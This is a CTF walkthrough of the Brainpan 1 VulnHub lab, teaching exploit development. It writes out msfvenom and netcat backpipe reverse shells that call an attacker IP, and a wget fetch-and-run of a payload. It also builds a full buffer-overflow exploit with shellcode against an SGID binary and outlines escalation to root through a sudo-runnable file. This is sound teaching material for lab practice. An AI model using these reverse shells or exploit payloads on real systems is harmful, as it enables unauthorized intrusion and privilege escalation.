CTF: Brainpan 1 CTF walkthrough – Introduction to exploit development (Part II)

Part I: Brainpan 1 CTF walkthrough – Introduction to exploit development

Phase #5: Getting a stable shell

As it can be seen from the screenshot, an unexpected event has happened – we are actually provided a windows prompt, however the overall file structure seems to be linux-like:   Checking the contents of the checksrv.sh bash script reveals the secret, that we are actually in a linux environment where the web server and the brainpan.exe application are run using the wine emulator:  

To escape from the windows cmd.exe prompt either a regular pty spawn could be used, using the following commands:
\bin\bash -i
\usr\bin\python -c "import pty; pty.spawn('/bin/bash')"
The above commands would provide some kind of a bugos pty shell, thus I recommend spawning another shell using either of these two ways I tested:

Method #1: Generate an msfvenom payload

msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=172.16.253.144 LPORT=444 -e x86/shikata_ga_nai -b '\x00' -f elf > shell.bin
\usr\bin\wget http://172.16.253.144:8080/shell.bin
\bin\chmod +x shell.bin
shell.bin
Brainpan 1 CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
Brainpan 1 – Getting a stable shell (Method #1)

Method #2: backpipe

You’d be meeting an issue to solve here –  the need to escape some of the characters using the windows echo syntax using quotes and writing it to a file without the escaping quotes. This is why on the method below I’m setting the bash command to an environment variable, and then stripping the quotes (there for sure is another way by escaping each required character but this is a neat one):
set shell="mknod backpipe p; /bin/sh 0<backpipe | /bin/nc 172.16.253.144 444 1>backpipe"
echo %shell:~1,-1% >> shell.sh
\bin\chmod +x shell.sh
\bin\bash shell.sh
Brainpan 1 CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
Brainpan 1 – Getting a stable shell (Method #2)

Phase #6: Privilege Escalation

Non-spiler hint (kind of): SGID

SubPhase #1: Enumeration and discovering a vulnerability

Now that a stable shell is present, the system can be enumerated further. Typing the “sudo -l” command on the target provides an interesting script, which can be called without a password prompt:
Brainpan 1 CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
Brainpan 1 – sudo -l
Running the anansi_util application provides a prompt of choices, and trying to pipe any of its commands wouldn’t work as it gets the input from stdin, as sudo commands can’t be piped in just 1 line because this would be an enormous security flaw. The file also seems to be owned by another user and with no privileges to the current user:
Brainpan 1 CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
Brainpan 1: Permissions on /home/anansi/bin/anansi_util
Enumerating the system further while keeping in mind the anansi_util binary resides within the home folder of the anansi user, and trying to find all the files belonging to this user we may  have access to (as shown in my cheatsheet) discloses the following file:
Brainpan 1 CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
/usr/local/bin/validate – executable permissions and sgid
The /usr/local/bin/validate script seems to have an sgid bit set (WHAT IS SGID) which means when running it it’s actually executed with the permissions of the file owner, in this case anansi. Running the script seems to require some kind of a user provided input taken by the application as a parameter: Trying to fuzz the application with some kind of input suggests a buffer overflow condition*: * As you can see from my attempts, the shell required a python pty to be spawned in order to be able to interact with the application properly.

SubPhase #2: Building an exploit

Finding the correct offset and examining the stack

The next step from here would be to download the validate application and debug it in a local environment. The process is quite similar to the one described in Part 1 although this time there would be a few slight differences. For the purpose you could use any debugger with a GUI – or pwndbg which is a wrapper written in python for gdb and provides useful features that are missing from it. In this post I’ll be using just gdb in its original form along with objdump.  To run the vulnerable application called validate in gdb:
edb --args ./validate `python -c 'print "A"*116+"B"*4'`
Once into the debugger, type “run” to run the program: To get the current value of EIP, using gdb’s examine command:
x/x $eip
And to check all the current registers:
info registers
To set a breakpoint in gdb:
set *address (note the star)
As the screenshot shows EIP gets overriden with the 4 bytes of B’s sent through the buffer. Running gdb with additional data after EIP, and then inspecting the eax and esp registers would show that the A‘ sent though the buffer reside within the EAX register, and the C‘s sent after the offset where the buffer overflow occurs are stored in ESP:
gdb --xargs ./validate `python -c 'print "A"*116+"B"*4+"C"*350'`
Checking the contents of eax – begins with the A’s sent through the buffer
Checking the contents of esp – begins with the C’s sent through the buffer, immediately after the offset where the buffer overflow occurs
Examining the addresses would show that there are about 350* bytes of shellcode space to work with, located within the ESP register (exactly how much was sent, and if we increase the C’s we may get more) and eaxactly 116 bytes in EAX, is this is how much was sent prior to the offset where the buffer overflow occurs:
x/100x $eax: EAX – 116 bytes of shellcode space
x/100x $esp: 350 bytes of shellcode space
* Note that the contents in the stack are written in reverse order in gdb – i.e. 0xbf004343 means that 4343 are the first 2 bytes

Finding a return address

All that’s left now is to check for bad characters as described in Part I and find an instruction that jumps to either one of the esp or eax registers. Most GUI debuggers have an option to search for an instruction either by itself or by its opcode, however as I’m using gdb and it doesn’t provide this feature I’ll be using objdump along with grep.

The bad characters I identified are: 00 0d 0a 20 46

As there’s more shellcode space available to work with in esp I’ll start with this register, and I’ll be  using objdump to try to find and address that contains an instruction which points to (or jumps or calls) a register within the stack that holds any data sent through the buffer(esp or eax):
objdump: Finding a return address
So there’s a call eax instruction at 0x080484af*, which could be used as a return address. So far we’ve got 116 bytes of space to work with, and a return address that calls the eax register. The exploit payload structure would look like this:
payload = <shellcode> + NOPs * (116-<length of shellcode>) + "<return address>"
* Note leading zeroes are omitted from objdump’s output As 116 bytes are not enough for a reverse shell code, and the purpose is to get a shell on behalf of the anansi user who has an sgid bit set on the file which runs on the target, this means that executing a bash prompt when running the file supposedly should work. An msfvenom payload suitable for this purpose is linux/x86/exec which executes a command and is just 70-72 bytes in most cases.
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x0d\x0a\x20\x46' -e x86/shikata_ga_nai -f c
So the payload becomes like this:
./validate `python -c 'print "\xba\xf1\x5c\x77\x54\xd9\xc5\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2\x04\x36\x7c\x0c\x7f\x95\xe4\xc4\x52\x79\x60\xf3\xc4\x52\x01\x94\x14\xc5\xca\x06\x7d\x7b\x9c\x24\x2f\x6b\x96\xaa\xcf\x6b\x88\xc8\xa6\x05\xf9\x7f\x50\xda\x52\xd3\x29\x3b\x91\x53"+"\x90"*(116-70)+"\xaf\x84\x04\x08"'`
Running a malicious payload and getting a shell with the permissions of user anansi

SubPhase #3: Getting suid

Now that a shell has been spawned with the euid of the user anansi, the file /home/anansi/bin/anansi_util that can be accessed using sudo without a  password can be altered:
Getting root Brainpan 1 - altering a sudo file - Brainpan 1 - CTF - vulnhub - walkthrough - d7x - PromiseLabs - blog
Getting root Brainpan 1 – altering a sudo file

Conclusion

The vulnerable machine Brainpan 1 covers various exploitation vectors and can serve as an Introduction to both Windows and Linux Exploit development. It also provides an experience in the possible attack vectors and entry points related to Privilege Escalation. To sum it up, an exploit development process consists of the following tasks:

-> Fuzzing the application 

-> Finding the correct offset where the Buffer Overflow occurs

-> Finding any possible bad characters

-> Looking for shellcode space

-> Finding a return address

-> Generating a payload which would fit into the space available -> Building a payload/exploit code: 

-> Keeping payload length consistent would provide a more stable debugging environment

-> Several NOP sleds have to be added to provide the shellcode some space to work with

-> Setting a breakpoint at the return address would provide a proof whether the shellcode is about to execute

-> In case the application doesn’t reach the return address, debug over and check carefully for any additional bad characters that might have been missed.

And now you now why it’s called brainpan.